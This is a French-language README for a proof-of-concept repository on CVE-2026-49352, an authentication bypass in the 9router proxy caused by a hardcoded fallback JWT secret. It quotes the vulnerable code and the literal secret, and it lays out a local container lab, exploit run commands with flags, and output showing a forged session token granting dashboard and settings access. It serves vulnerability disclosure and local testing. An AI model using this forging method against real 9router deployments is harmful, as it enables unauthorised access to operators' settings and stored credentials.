
Exploitabilité PoC pour CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)
CVE-2026-49352 est une vulnérabilité dans 9router, un proxy auto-hébergé Node.js/Next.js pour les outils de codage IA. Le JWT de session du tableau de bord est signé avec un secret provenant de la variable d'environnement JWT_SECRET, mais si cette variable n'est pas définie, le gestionnaire de connexion et le garde de requête reviennent tous deux au même littéral codé en dur :
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Comme cette chaîne est stockée dans le dépôt public, ce n'est pas du tout un secret. Tout attaquant peut signer un jeton avec elle et être considéré comme un utilisateur authentifié du tableau de bord.
| Plage affectée | Corrigé dans |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
Le secret de repli est défini à l'identique dans deux fichiers indépendants.
src/app/api/auth/login/route.js — émet le jeton de session lors de la connexion :
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — vérifie le jeton sur chaque requête protégée :
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
Le succès de hasValidToken() est la seule condition vérifiée avant d'accorder l'accès à /dashboard et aux points de terminaison listés dans ALWAYS_PROTECTED (y compris /api/settings/database). Il n'y a pas de recherche d'enregistrement de session ni de validation de l'origine du jeton — une signature valide est considérée comme une preuve d'identité.
Le contournement est confirmé et reproductible sur une version du code affecté. Avec JWT_SECRET non défini :
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed
[3] Probing /api/settings/database for exposed credentials...
[+] /api/settings/database returned 200
La vulnérabilité ne se déclenche que lorsque JWT_SECRET n'a jamais été défini par l'opérateur — la valeur par défaut pour la plupart des déploiements rapides / docker-run qui sautent l'étape de configuration de l'environnement. Les déploiements qui définissent explicitement JWT_SECRET sur une valeur aléatoire ne sont pas affectés, car SECRET est dérivé une fois au chargement du module et ne revient jamais en arrière.
cve-2026-49352-poc/
├── dockerfile # 9router built from source, pinned to v0.4.30 (affected)
├── podman-compose.yml # build + run, JWT_SECRET intentionally omitted
└── exploit/
├── go.mod # requires github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| Outil | Version | Remarques |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose requis |
| Go | ≥ 1.22 | Pour exécuter l'exploit localement |
Dépendance Go externe : github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
Attendez que l'application signale qu'elle est prête, puis vérifiez :
curl -si http://localhost:20128/dashboard | head -1
# Expected: HTTP/1.1 307 (redirect to /login, no session yet)
cd exploit
go run exploit.go -target http://localhost:20128
Ajoutez -probe pour demander également /api/settings/database avec le cookie forgé :
go run exploit.go -target http://localhost:20128 -probe
Drapeaux disponibles :
| Drapeau | Défaut | Description |
|---|---|---|
-target | http://localhost:20128 | URL de base de l'instance 9router |
-secret | 9router-default-secret-change-me | Secret de repli JWT pour forger |
-ttl | 36 * 365 * 24h | Fenêtre de validité du jeton forgé |
-probe | false | Demander également /api/settings/database |
podman-compose down -v
[1] Forging dashboard session JWT with the hardcoded fallback secret...
[+] Forged auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Requesting /dashboard with the forged auth_token cookie...
[+] 200 OK — authentication bypass confirmed against http://localhost:20128
[3] Probing /api/settings/database for exposed credentials (per advisory attack scenario)...
[+] /api/settings/database returned 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| Ressource | Lien |
|---|---|
| Avis | GHSA-jphh-m39h-6gwx |
| Dépôt vulnérable | decolua/9router |
| Analyse complète — article de blog | return-zero.dev/posts/cve-2026-49352 |
Ce dépôt est destiné uniquement à des fins éducatives et à une analyse locale de l'exploitabilité. Tous les tests ont été effectués sur un environnement conteneurisé auto-hébergé. N'exécutez pas cette Preuve de Concept (PoC) contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de tester.